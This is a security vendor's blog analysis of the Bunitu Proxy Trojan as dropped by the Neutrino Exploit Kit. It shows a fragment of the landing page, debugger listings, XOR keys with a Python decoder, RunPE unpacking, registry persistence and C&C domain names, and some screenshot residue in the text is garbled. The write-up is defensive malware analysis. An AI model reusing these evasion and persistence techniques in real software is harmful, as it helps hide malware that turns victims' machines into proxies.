Revisiting The Bunitu Trojan

blog.malwarebytes.com/threat-analysis/2015/07/revisiting-the-bunitu-trojan/

hasherezade

July 13, 2015



This post describes the infection process of the latest version of the **Bunitu Proxy Trojan** as seen delivered by the **Neutrino Exploit Kit** via a malvertising campaign.

We will start from a high-level overview of the issue and used elements. Then, we will dive deeper in the used techniques of hiding and obfuscating the modules.

What is Bunitu Proxy and why is it dangerous?

As its name suggests, Bunitu Proxy is a Trojan that exposes the infected computer to be used as a proxy for remote clients. It is done in a few steps:

- 1. Installs itself on the machine
- 2. Opens ports for the remote connections
- 3. Registers itself in the remote server (clients database) informing about its address and open ports
- 4. Accepts connections coming on the exposed ports and bypasses the traffic

It may have various consequences for the infected user. Basically, it uses his/her resources and slows down the network traffic. But it may also frame him/her in some illegal activities carried by the attackers due to the fact that the infected client's IP is the one visible from the

outside.

Read more: Who's Behind Your Proxy? Uncovering Bunitu's Secrets

How is the infection carried?

Bunitu has been dropped from various exploit kits. On June 10th 2015, as Websense Security Labs described in their <u>post</u>, it was dropped by the Angler Exploit Kit. This time, a similar payload is distributed by Neutrino EK.

Role of Neutrino EK

A malvertising from Adcash (they have been notified and the problem is already fixed) redirected users to the Neutrino EK via a compromised site and rotator.

The below screenshot from Fiddler Web Debugger, shows the chain of URLs on the way of dropping the malicious payload:



The rotator (.eu domain) does its job of switching to a new sub-domain every few minutes. This technique is often used to bypass blacklists because the malicious URLs are 'moving targets':



And the landing page carried the exploit:

<html></html>
<body></body>
<script></td></tr><tr><td></td></tr><tr><td></script>
<pre><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="</pre></td></tr><tr><td>http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=10,1,52,0" id="ghubj" width="</td"></object></pre>
"115" height="110">
<pre><param name="movie" value="</pre"/></pre>
"/slab.phtml?story=21717&stack=69183&bitter=duchess&endless=hard&boot=98434&moonlight=fifteen&
expensive=cluster&casual=snore&worth=extreme" />
<pre><param name="bgcolor" value="#ffffff"/></pre>
<pre><param name="allowScriptAccess" value="always"/></pre>
<pre><embed guality="high" height="110" src="</pre" width="115"/></pre>
//slab.phtml?story=21717&stack=69183&bitter=duchess&endless=hard&boot=98434&moonlight=fifteen&
expensive=cluster&casual=snore&worth=extreme" align="middle" name="ghubj" play="true" loop="false"
guality="high" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage=
"http://www.macromedia.com/go/getflashplayer">

At this stage, users of <u>Malwarebytes Anti-Exploit</u> were protected – the product detected and stopped the malicious activity.

~	& <mark></mark>
C l l l l l l l l l l l l l l l l l l l	☆ 🕸



But if deployed on a vulnerable, unprotected machine, infection followed further – the payload was dropped and deployed.

Payload: Bunitu Proxy

Infection symptoms

Looking at the payload from outside, we will see just a typical installer (with an NSIS installer icon).

It pretends to be a legitimate piece of software – scamming an existing product: <u>ManyCam</u> by <u>Visicom Media</u>.

After dropping the malicious DLL (described in details further), the installer tries to run it. Then we witness the attempt of opening the ports for incoming connections.

Windows Firewall alerts about this attempt (it seems that at this level it relies on social engineering – only under Windows XP it managed to suppress these messages to maintain stealth).

🔐 Windows Security Alert										
Windows Firewall has blocked some features of this program										
Windows Firewall has blocked some features of ManyCam Virtual Webcam on all public and private networks.										
NUNS	Name:	ManyCam Virtual Webcam								
	Publisher:	Visicom Media Inc.								
	Path:	C:\users\tester\desktop\installer.exe								
Allow ManyCam Viri	tual Webcam to vorks, such as m	communicate on these networks: y home or work network								
Public netwo because the	Public networks, such as those in airports and coffee shops (not recommended because these networks often have little or no security)									
What are the risks	What are the risks of allowing a program through a firewall?									
		Allow access Cance	el							

Also, after the successful setup, when the computer is restarted, the persistent module runs again – triggering a similar alert:

Windows Security Alert									
Windows Firewall has blocked some features of this program									
Windows Firewall has blocked some features of Windows host process (Rundll32) on all public and private networks.									
Name: Windows host process (Rundll32)									
Publisher: Microsoft Corporation									
Path: C:\windows\system32\rundll32.exe									
Allow Windows host process (Rundll32) to communicate on these networks:									
Public networks, such as those in airports and coffee shops (not recommended because these networks often have little or no security)									
What are the risks of allowing a program through a firewall?									
Cancel Cancel									

If we see the details of the running process (rundll32) i.e. in Process Explorer, it will reveal the module that has been loaded:

CSISS.exe	
wininit.exe	undli32.exe:1500 Properties
Path:	Image Performance Performance Graph Threads TCP/IP Security Environment Strings
[Error opening process]	
	Image File
	Windows host process (Rundll32)
	Microsoft Corporation
audiodo exe	Version: 6.1.7600.1635
svchost.exe	Reidel Timori, Turo Ivi 4 01:41:42 2000
dwm.exe	
svchost.exe	Pau:
consent.exe	C:\Windows\System32\rundll32.exe Explore
svchost.exe	Command line:
svchost.exe	"C:\Windows\System32\rundll32.exe" "C:\Users\tester\AppData\Local\ynfucvu.dll",ynfucvu
spoolsv.exe	Ourrent directory:
svchost.exe	CuWindowsPortem221
svchost.exe	C. (vindows bystein52)
sqlwnter.exe	Autostart Location:
tasknost.exe	n/a Explore
SearchFilterHost exe	Parent: explorer.exe(2036) Verify
sonsvc exe	User: testmachine\tester
sychost.exe	Started: 21:11:56 2015-07-06 Bring to Front
taskhost.exe	Kill Process
sass.exe	Comment:
Ism.exe	VirusTotal: Submit
Csrss.exe	Data Execution Prevention (DEP) Status: DEP
winlogon.exe	
captorer.exe	Address space Load Kandomization: Enabled
VBoxTrav.exe	
rundli32.exe	
Structure procexp.exe	OK Cancel

and the open ports (chosen randomly at the time of installation):

age P	erformance Performance Graph Threads TCP/IP Security Environment Strings									
Reso	lve addresses	•								
Density Address State										
Prot	L OCAL Addr	1998		nneee			State			
Prot TCP	Local Addr	ess • 14050	testmachin	aaress e:0						

If we keep it running for some time, we may even see the clients, that connected via our unwanted proxy (*in the below case, july1.exe was used as the name of the installer*)

🔬 TCPView - S	TCPView - Sysinternals: www.sysinternals.com											
File Options												
A → 🕅												
Process /	PID	Protocol	Local Address	Local Port	Remote Address	Remote Port	State					
🌍 july1.exe	3188	TCP	testmachine	33911	testmachine	0	LISTENING					
🌍 july1.exe	3188	TCP	testmachine	40773	testmachine	0	LISTENING					
🌍 july1.exe	3188	TCP	testmachine	49169	server6032.megah	domain	ESTABLISHED					
🌍 july1.exe	3188	TCP	testmachine	49190	94.31.29.230.ipyx	http	CLOSE_WAIT					
🌍 july1.exe	3188	TCP	testmachine	49194	ec2-54-243-93-18	https	CLOSE_WAIT					
🌍 july1.exe	3188	TCP	testmachine	49198	ec2-50-17-235-41	https	CLOSE_WAIT					
🌍 july1.exe	3188	TCP	testmachine	49224	th-in-f141.1e100.net	https	CLOSE_WAIT					
🌍 july1.exe	3188	TCP	testmachine	49229	server-54-192-235	http	CLOSE_WAIT					
🌍 july1.exe	3188	TCP	testmachine	49231	waw02s05-in-f36	https	CLOSE_WAIT					

Technical details

To hide its real intentions, the installer uses several layers of protection. It takes several modules to run before the malicious DLL (serving as proxy) is revealed. Let's go deeper!

Flow:

```
installer.exe-> unpacks and loads:
    lithiasis.dll, function: Avidness -> decrypts and runs using RunPE technique:
    stub_unpacked.exe -> unpacks and loads:
    ynfucvu.dll, function: ynfucvu-> perform all the malicious activities
```

installer.exe

Unpacks several files into %APPDATA%/Local/Temp/

It seems that not all of them play a role in unpacking the payload – some are dropped only to make "noise"

• [random].tmp , i.e.: nsn4CB0.tmp

- pictures
- script (javascript, YUI module): index(5).php
- dalookerzmeoajrhja144
- UncryptedStub._ini
- [random].tmp/lithiasis.dll (i.e. nse474E.tmp/lithiasis.dll)

	SORTABLE STATS 342 342 200 EW		Php	0	
nse47E4.tmp	160x160_sortable_ stats_j3b0337b.jpg	dalookerzmeoajrhja1 44	index (5).php	play-button.png	UncryptedStubini
us.gif					

Then, it loads the dropped module: **lithiasis.dll** into memory and executes the function called – in the analyzed case – **Avidness** (responsible for further unpacking).

lithiasis.dll, Avidness

(real name of the module: __Intelerino.dll)

- is unpacked and loaded by the installer.exe
- is obfuscated
- uses files:
 - dalookerzmeoajrhja144 packed list of functions that are going to be loaded in order to do further unpacking
 - UncryptedStub._ini packed executable (I refer to it as: *stub_unpacked.exe*)

Keys used to decrypt the files:

- dalookerzmeoajrhja144 "dalookerzmeoajrhja144"
- UncryptedStub._ini "9JKjPZSpEL8uHmkHNIXhwhDc9jRTGN"

Files are encrypted with obfuscated, custom XOR based algorithms. For each file the used algorithm is slightly different. Below you can see sample python scripts for decoding the files: <u>Bunitu Proxy – decoding scripts (github)</u>

#1 Decrypting functions

10001524 10001530 10001530 10001535 10001535 10001535 10001544 10001552 10001552 10001555 10001555 10001564 10001564 10001566 10001570 10001573 10001573 10001573 10001578 10001582 10001598 10001598 10001598 10001593 10001593 10001593 10001593 10001585 10001587 10001587 10001581 10001581 10001581 10001581 10001585	~	CA MOU MOU CM JGO MOU MOU MOU CDD MOU MOU CDD MOU MOU MOU MOU MOU MOU MOU MOU MOU MOU		EAR MOX, AXX, AXX, CXX AXX, CXX AXX, CXX AXX, CXX AXX, CXX AXX, CXX AXX, CXX AXX, CXX AXX, CXX, C	D PD DWO EDXX,B DWO DWO DWO DD EDX DWO EDX DWO EDX DWO DWO DWO DWO DWO DWO DWO DWO DWO DWO	TR RD IIII RD RD RD RD RD RD RD RD RD RD RD RD RD	SS: PTR PTR PTR PTR PTR PTR PTR PTR SS: PTR SS: SS: PTR PTR SS: PTR PTR PTR	LEB SS SS SS SS SS SS SS SS SS SS SS SS SS	P-02 B S:[E] S:[E] S:[E] S:[E] P-02 S:[E] P-02 S:[E] P-02 P-02 S:[E] P-02 S:[E] P-02 S:[E] P-02 S:[E] P-02 S:[E] P-02 S:[E] P-02 S:[E] S:[x15- BBP- BBP- BBP-4 BBP	4],1 0x1 0x1 +EA 0x1 0x1 0x1 0x1 0x1 0x1 0x1 0x1	0x0 541 081 551 081 551 E81 AX 001 541 541 541 541 0X 001 801 0x0 541 081 081	DL	41	d	ead ecr:	fil	e t	o a cti	buf	fer
10001503		CM	Ř E	AX,	EDX asi	. 10	001	544		Dr	0.1	001									
100015CB	1	LE	A E	ΑX,	DWO	RD	PTR	SS	: [E	BP-	0х3	FBJ			f	unct	tior	is d	lecr	ypte	d
۹ <u> </u>			_	_	_	_	_	_	_	_	_	_	_	_	_	_			_	_	_
Hddress 0012E5E0	<u>Hex</u> 43	72	65	61	74	65	50	72	6F	63	65	73	73	41	ØP	4E	Dre Cre	ate	Pro	2855	8. N
0012F5F0 0012F610 0012F610 0012F620 0012F630 0012F630 0012F650 0012F660 0012F660 0012F680 0012F680 0012F680 0012F680	7495725441EC0	55F82985A44C0	6EEA9A78766F0	6D 0A 56 74 47 0A 74 65 76 63 00	61 56 65 65 65 65 65 67 4 60 60 00	7092045263E30	562 724 725 745 669 665 600	69 75 68 57 60 57 60 60 60 60	65 75 63 76 63 65 65 65 65 65 65 65 00	77 61 65 65 65 76 53 40 70 80	4F 41 73 65 65 65 65 60 00	66 41 67 64 61 54 61 54 60 6F 00	536000 4034685 665 665 6000	650 F 56 F 32 0 7 2 1 0 0 0	63F 66D 655 79 600 00	743 0A 6F 74E 65 0A 400 00	tUn ion Ex. Wri ry. ext tex d.G adF ntc llc	Map .Vi Vir Get .Se t.R ietF icc.S	Vie rtua tua roc Thr tTh esu ile ess dll lee	wOfS alAl lAll essM eadC read read Size MeTh Size .Loc	ect loc oc. emo ont Con rea .Re ry. alA

```
def decode1(data, key, max_key):
    l = len(key)
    j = 0 #key index
    decoded = bytearray()
    for i in range(0, len(data)):
        decoded.append(data[i] ^ key[j % l])
        if (i > 0):
            j += 1
        if (j == max_key):
            j = 0
        return decoded
```

#2 Decrypting PE file

10001828	8885 CCFEFFFF	MUU EHX, DWORD PTR SS: LEBP-0x1341	decrypt PE
10001831	8895 14FEFFFF	MUV EDX, DWORD FIR SS:LEBP-0XIECI	
10001837	3512 	UCE Lithing 10001001	
10001037	✓ 0FOD F2000000 ODOE 00EEEEE	MOULEOV DWODD DTD CC.FEDD_001501	
10001036		MOULERY DWORD PTR 33. LEDF-041201	
10001040	06950 CCFEFFFF	MOUZY FOX BYTE PTR DS. [EDX+EOX1	
1000104D	0385 04FFFFF	ADD FOX DWORD PTR SS [FERP-00150]	
10001855	8895 20FFFFF	MOU EDX. DWORD PTR SS [FEBP-0, 150]	
10001055	888D CCEEFEE	MOU ECX. DWORD PTR SS [FEBP-0v1341	
10001861	880411	MOU BYTE PTR DS: [ECX+EDX1. A	
10001864	8885 20FEFFFF	MOU EAX, DWORD PTR SS: [EBP-0x1E0]	
1000186A	8895 CCFEFFFF	MOV EDX. DWORD PTR SS: [EBP-0x134]	
10001870	0FB60402	MOVZX EAX.BYTE PTR DS:[EDX+EAX]	
10001874	8B95 A4FEFFFF	MOV EDX, DWORD PTR SS: [EBP-0x15C]	
1000187A	8B8D A8FEFFFF	MOV ECX, DWORD PTR SS: [EBP-0x158]	
10001880	8945 E4	MOV DWORD PTR SS:[EBP-0x1C],EAX	
10001883	8BC2	MOV EAX,EDX	
10001885	99	CDQ	
10001886	F7F9	IDIV_ECX	
10001888	8B85 C4FEFFFF	MOV EAX, DWORD PTR SS: LEBP-0x13C1	
1000188E	0FB60402	MUVZX EHX, BYTE PTR DS:LEDX+EHXJ	
10001892	8855 E4	NOV EDX, DWORD FIR SS: LEBP-0x1CJ	
10001895	3300	MOU FOY DWODD DTD CC. FEDD OU1501	
10001097	ODOD 20FEFFFF	MOULECY DWORD PTR SSILEDF-0X1201	
10001070	001401	MOU DUTE DTD DS. FECYLEOVI DI	
10001806	8885 20FFFFFF	MOU FOX DWORD PTR SS [FRP-0v1F01	
10001800	8895 CCEEFEE	MOU EDX, DWORD PTR SS: [EBP-0x1341	
100018B2	ØFB60402	MOUZX EAX BYTE PTR DS: [EDX+EAX]	
100018B6	8B95 CCFEFFFF	MOV EDX. DWORD PTR SS: [EBP-0x134]	
100018BC	888D A8FEFFFF	MOV ECX. DWORD PTR SS: [EBP-0x158]	
100018C2	8945 E8	MOV DWORD PTR SS:[EBP-0x18],EAX	
100018C5	8BC2	MOV EAX,EDX	
100018C7	22	CDQ	
10001808	F7F9	IDIV ECX	
100018CH	8885 C4FEFFFF	MOUTERX, DWORD FIR SS: LEBP-0x13C1	
10001800	055555	MOULERY BUODE FIR DS:LEDX+EHAJ	
10001004	0D00 E0 00D00	YOD EDV EOV	
10001007	ODOE OREEEEE	MOULEON DUODD DTD CC. LEDD-001E01	
100018DF	888D CCEEFEE	MOU ECX. DWORD PTR SS [FEBP-0v1341	
100018E5	881401	MOU BYTE PTR DS: [ECX+E8X1. DI	
100018E8	FF85 A4FEFFFF	INC DWORD PTR SS: [EBP-0x15C]	
100018EE	8885 CCFEFFFF	MOV EAX. DWORD PTR SS: [EBP-0x134]	
100018F4	8B95 A8FEFFFF	MOV EDX, DWORD PTR SS: [EBP-0x158]	
100018FA	8955 EC	MOV DWORD PTR SS:[EBP-0x14],EDX	
100018FD	99	CDQ	
100018FE	8B4D EC	MOV ECX, DWORD PTR SS:[EBP-0x14]	
10001901	F7F9	IDIV ECX	
10001903	8B85 74FEFFFF	MOV ERX, DWORD PTR SS: LEBP-0x18C1	
10001909	3600	UNP EUX, EHX	
10001900	C785 04FFFFFF 0000	MOU DHORD PTR SSIFERP-001501 AVA	
10001917	FE85 COFFEFEE	INC DUORD PTR SS [FERP-0v134]	
10001910	8885 CCFEFFFF	MOU EAX, DWORD PTR SS: LEBP-0x1341	
10001923	8B95 14FEFFFF	MOV EDX. DWORD PTR SS: [EBP-0x1EC]	
10001929	3BC2	CMP EAX, EDX	
1000192B	^ 0F8C 0EFFFFFF	JL lithiasi.1000183F	
10001931	3300	XOR EAX,EAX	decrypted PE

result – a new PE file (stub_unpacked.exe):

Address	Hex	(du	IMP														ASCII
002ADBD0	4D	5A	90	00	03	00	00	00	04	00	00	00	FF	FF	00	00	MZE
002ADBE0	B8	00	00	00	00	00	00	00	40	00	00	00	00	00	00	00	Ş@
002ADBF0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
002ADC00	00	00	00	00	00	00	00	00	00	00	00	00	80	00	00	00	Ç
002ADC10	0E	1F	BA	0E	00	B4	09	CD	21	B8	01	4C	CD	21	54	68	#₹ # .=!\$@L=!Th
002ADC20	69	73	20	70	72	6F	67	72	61	6D	20	63	61	6E	6E	6F	is program canno
002ADC30	74	20	62	65	20	72	75	6E	20	69	6E	20	44	4F	53	20	t be run in DOS
002ADC40	6D	6F	64	65	2E	0D	0D	ØA	24	00	00	00	00	00	00	00	mode\$
002ADC50	50	45	00	00	4C	01	04	00	C5	CF	94	55	00	00	00	00	PEL0♦.+¤öU
002ADC60	00	00	00	00	E0	00	ØF	01	ØB	01	05	0C	00	70	00	00	ó.*0ð0‡¦
002ADC70	00	C2	01	00	00	00	00	00	AB	1A	00	00	00	10	00	00	.⊤0ź≯▶
002ADC80	00	90	00	00	00	00	40	00	00	10	00	00	00	02	00	00	.É@⊧8
002ADC90	04	00	00	00	00	00	00	00	04	00	00	00	00	00	00	00	*····
002ADCA0	00	60	02	00	00	04	00	00	00	00	00	00	02	00	00	00	_~8
002ADCB0	00	00	10	00	00	10	00	00	00	00	10	00	00	10	00	00	
002ADCC0	00	00	00	00	10	00	00	00	00	00	00	00	00	00	00	00	
002ADCD0	00	A1	00	00	A0	00	00	00	00	50	02	00	B8	04	00	00	.íáP8.S♦

After decrypting the new executable: *stub_unpacked.exe* – it loads it into the memory using "RunPE" technique (unmaps the installer.exe and loads the new PE section by section on it's place).

stub_unpacked.exe

Its main role is to unpack from inside the "heart" of the malware: module *ynfucvu.dll*. It also loads and deploys it.

Makes following registry keys (Winlogon Notify):

💣 Registry Editor			
File Edit View Favorites Help			
Notify	Name (Default) (Asynchronous (MaxWait) (MaxWait) (Construction) (Constru	Type REG_SZ REG_DWORD REG_DWORD REG_DWORD REG_BINARY	Data (value not set) 0x00000001 (1) 0x00000001 (1) 0x00000001 (1) d4 14 54 b6 4f 53 50 d9 9f a6
SensLogn termsrv wlballoon ynfucvu My Computer)HKEY LOCAL MACHINE)SOF	TWARE1Microsoft1Window	s NT\CurrentVersion\Wink	ngan)Natify)ynfucyu

The key 'zinkraxx' is used to uniquely identify the installation. It is made by following simple algorithm:

C CPU - main thread, module stub_unp												
00101160 . BF 86204100 00402165 . 0F31 00402167 . C1C0 03 00402168 . S0 00402168 . 48 00402162 . SF07 00402162 . C1C0 02 00402162 . C1C0 02 00402171 . 40 00402172 . S0 00402173 . SF47 04 00402176 . D1C0 00402173 . SE47 08	MOV EDI, stub_unp.00412086 RDTSC ROL EAX,3 PUSH EAX DEC EAX POP DWORD PTR DS:[EDI] ROL EAX,2 INC EAX PUSH EAX PUSH EAX POP DWORD PTR DS:[EDI+4] ROL EAX,1 PUSH EAX POP DWORD PTR DS:[EDI+4]	; EDI -> address of 'zinkraxx' buffe	r									
00402170 50 00402170 3D 142C0200 00402182 0F85 49050000	CMP EAX,22C14											
EAX=B2A0A69F												
Address Hex dump	Lescu											
00412086 D4 14 54 B6 4F 9 0041208E 9F A6 A0 B2 00 0	53 50 D9 ⊧¶T∦OSP⊐ 30 00 00 fea∰											

It uses RDTSC (an instruction that reads time-stamp counter into EDX:EAX). Then part of the result (EAX) is processed and writen into a buffer. This buffer is then stored in the registry.

After unpacking the DLL it drops it in %APPDATA%/Local folder:



Then, it loads in the memory and enters in the function *ynfucvu* of *ynfucvu.dll* – using JMP EAX:



ynfucvu.dll, ynfucvu

This is the Bunitu Proxy module – malicious part of the full package. It is independent from other modules. Once installed, it is loaded on system startup, using rundll32.exe. The entry point is in the function *ynfucvu*.

It carries all the network operations – registers the client on the server, opens ports and serves as a proxy.

Techniques used by the Bunitu Proxy module haven't changed much from June 10th, when it was described by Websense Security Lab. Even the xor-ed value is exactly same!

🐴 Immunity Debugger - stub_unpacked.exe - [CPU - main thread, module ynfucvu]															
C File V	iew Debug Plug	jins ImmLib	Options	Window	Help	Jobs									
🗀 🐝 🗉	🔣 🕂 X 🕨	用植物	対判す	→	l e	m t	w	h (c p	k	b	z	r.	s	?
10002738 10002739 10002749 10002749 10002749 10002759 10002759 10002760 10002760 10002772 10002772 10002774 10002774	40 50 FF15 <u>2CB40010</u> E8 DEEBFFFF A3 <u>C2310110</u> C705 F <u>8310110</u> A3 <u>FC310110</u> C605 <u>24330110</u> 68 <u>C922D00E</u> 810424 8A2F300 FF15 <u>04B40010</u> 0BC0 0F84 97010000 8B00 8B00	INC EAX PUSH EAX CALL DWOF CALL UNFU MOV DWORD 0 MOV DWORD 0 MOV DWORD 0 MOV DWORD 0 ADD DWORD CALL DWOF 0 ADD DWORD CALL DWOF 0 ADD DWORD 0 ADD ADD DWORD 0 ADD D	D PTR DS: 0004.10001 PTR DS:0 PTR DS:0 PTR DS:0 PTR DS:0 PTR SS:0 D PTR SS:0 D PTR SS:0 0 PTR SS:0 0 PTR SS:0 0 PTR DS: 1000291 WORD PTR WORD PTR WORD PTR	E1000B42 323 100131F8 100131F9 00133F4 0013324 ESP1,302 E1000B40 1 DS: EEAX DS: EEAX	2C] 2],EA 3],1 2],EA 1,0 2F8A 04] +C] 1	{	WS WS	52_32 52_32	2.WSP 2.get	NStar	tup byna	Me			
10002781	A3 81990010	MOV DWORD	PTR DS: D	1000998	1 1, EA>										
10002788 10002795 10002795 10002797 10002787	66:C705 21550010 66:C705 209900 28C0 FF15 <u>38840010</u> 33D2	SI HOV DWORL II MOV WORD SUB EAX,E CALL DWOF XOR EDX,E	PTR DS:[1 PTR DS:[1 AX D PTR DS: DX	1000997D 1000997D 1000998D 10000B43	1,2 1,2 1,2 381	91155	k	ernel	132.0	ietTi	ckCo	unt			

compare with the WebSense analysis:

*	100026F6	50 EE 1	5 10	B4 00	10		push	eax dwor	d ntr ds:[/ewsas:	tantunal	_	Genera	al	
	100026FD	E8 0	1 EC	FF FF	10		call	gaot	tma.10001303			EAX	72D6C96E	
	10002702	C7 0	E 31 5 E4	01 10 31 01	10 0	01 OC	mo∨ mov	dword] ptr ds:[100131A] ptr ds:[100131E],eax 4],1		ECX	00000000 0000C3F5	
•	10002711	A3 E	8 31	01 10			mo∨	dwond	ptr ds:[<mark>100131E</mark>	3],eax		EDX	7C90E4F4	<pre><ntdll.kifastsystemcal' <="" pre=""></ntdll.kifastsystemcal'></pre>
•	1000271D	68 C	0 22	53 UI DO OF	10 0	0	push	FD02	2C0	1,0		ESP	00B5FBD8	NC011.7C900000
•	10002722	81 0	4 24	8A 2F	30 0	00	add	dwond	i ptr ss: <mark>[</mark> esp] ,30	F8A		ESI	1000B3DC	<gaottma.®closekey></gaottma.®closekey>
	1000272F	OB C	0	85 00	10		or e	ax,ea	a per ostr <mark>kageen</mark> x	os coynanicz j		201	10003007	gaoccina. 10003007
	10002731	0F 8 8B 4	4 97 0 0C	01 00	00		je g mov	aottn eax.c	1 <mark>a.100028CE</mark> Word_ntr_ds:[eax-	FC1		EIP	1000273E	gaottma.1000273E
	1000273A	8B 0	ō Č				mo∨	eax, c	word ptr ds:[eax	-1		EFLAG	is 0000030;	2
ETP	1000273C	8B 0 35 3	0 1 1A	EC 16			mov xor	eax.c eax.1	Word ptr ds:[eax] GEC1A31	1		PF 0	TF 1 IF 1	
•	10002743	A3 7	1 99	00 10	40.5		mo∨	dword	ptr ds:[1000997:	l],eax	05.1	7 1 4 3	DF 0	
	10002748	66 C	7 05	6D 99	00 1	10 02	mov i	word	ptr ds:[1000998.	,2	85.17	.142	.21 0 0	
	1000275B	66 C	7 05	7D 99	00 1	10 02	mov ∙ sub	word	ptr_ds:[<mark>1000997D</mark>]	,2		65.00	000	
	10002766	FF 1	5 28	B4 00	10		call	dwor	nd ptr ds:[<mark><&GetT</mark>	i ckCount>]		FS 00)3B	
	1000276C	33 D. 33 C	2				xor	edx,e ecx.e	edx ecx		edx:KiFast	ES 00)23)23	
	10002770	83 C	0 78				add	eax,7	8			CS OC	01B	
•	10002773	C1 E	0 78 8 0A				add shr	eax,/ eax,/	'8 \			SS U	J23	
	10002779	56	~ ~~				push	esi ori 7	ю.			DR0 0	0000000	
	1000277F	3B C	6	00 00			çmp	eax.e	ic is i			DR1 0	00000000	
												DR3 0	0000000	
dword [100099	971]=0											DR7 (0000000	
gaottma.dl1[2	2743] ".t	ext":1	00027	43										
Address Hex								1	ASCII			0085F	BD8 1000295E	return to gaottma.1000
100051A1 00 0	01 00 6E 73	31 2E	71 7	75 69	78 6	A GF	75 6	D 6E	ns1.quixjoumn			0085F	BE0 004022EA	2c86.004022EA
100051B1 66 2 100051C1 00 0	2E 63 6F 6D DO 00 00 00	00 00) 01 0) 00 0	00 00	00 0	E 00 0 00	00 0	0 00 2 00	т.com			0085F	BE4 00000000	
100051D1 01 0	00 00 00 00	00 00	05 0	05 00	01 0	0 00	00 0	0 00	· · · · · · · · · · · · · · · · · · ·			0085F	BEC 00401F08	2c86.00401F08
100051F1 00 0	DO 00 00 01	00 00	00 0	00 00	00 0	1 00	00 0	0 48	L н			0085F	BF0 07060504 BF4 08040908	
10005201 54 5	54 50 2F 31	2E 30	20 3	2 30 8 30	30 21	0 4F	4B 0	D 0A	TTP/1.0 200 OK			0085F	BF8 00B5FC24	
10005221 00 0	DO 6E 73 30	2E 71	75 6	59 78	6A 6	F 75	6D 6	E 66	ns0.quixjoumnf			0085F	BFC 7E418734	return to user32.7E418
10005231 2E 0	53 6F 6D 00 51 65 24 4A	5E 4A		A 55	6E 43	373 22E	5E 2 71 7	4 37 5 69	.com.^JL*UnCs^\$7 [ae\$]nsb.qui			00B5F	C04 0000D476	
10005251 78 6	5A 6F 75 6D	6E 66	2E 6	53 6F	6D 0	0 00	00 0	0 08	×joumnf.com		-	1 OUBSF		
10005261 00 0	JI UI UU OO	01 00	, ,, 0	JU UU	00 01	0 00	00 0	0 00			-			

This module is slightly obfuscated – i.e. domains used to resolve C&Cs are given in a plain text. Only their addresses are calculated on the fly – to make difficult finding where they are referred. As we see below: the address of the string is calculated on the stack (this DLL is always loaded on the same, predefined base – what makes calculation on the addresses easy).



It is also responsible for creating registry keys used for persistence and tries to be invisible for the firewall – by adding itself to the list of Authorized Applications (but effectiveness of it varies depending on the version of Windows).

Analyzed sample

Original sample (installer) md5=<u>542f7b96990de6cd3b04b599c25ebe57</u> ; payload (ynfucvu.dll) md5=<u>1bf287bf6cbe4d405983d1431c468de7</u>

Conclusion

It seems that this malware is being actively distributed through various exploit kits. However, the mutation of the core is not so fast, as we see our sample is very similar to the one observed a month ago. Still, the used packing, composed of many layers gave it advantage of low detection rates in early days after the release.

On the other hand, the good news is that it's not an entirely stealthy piece of malware (except on Windows XP), so a cautious user can notice some of the alarming symptoms.

Part II: <u>Who's Behind Your Proxy? Uncovering Bunitu's Secrets</u>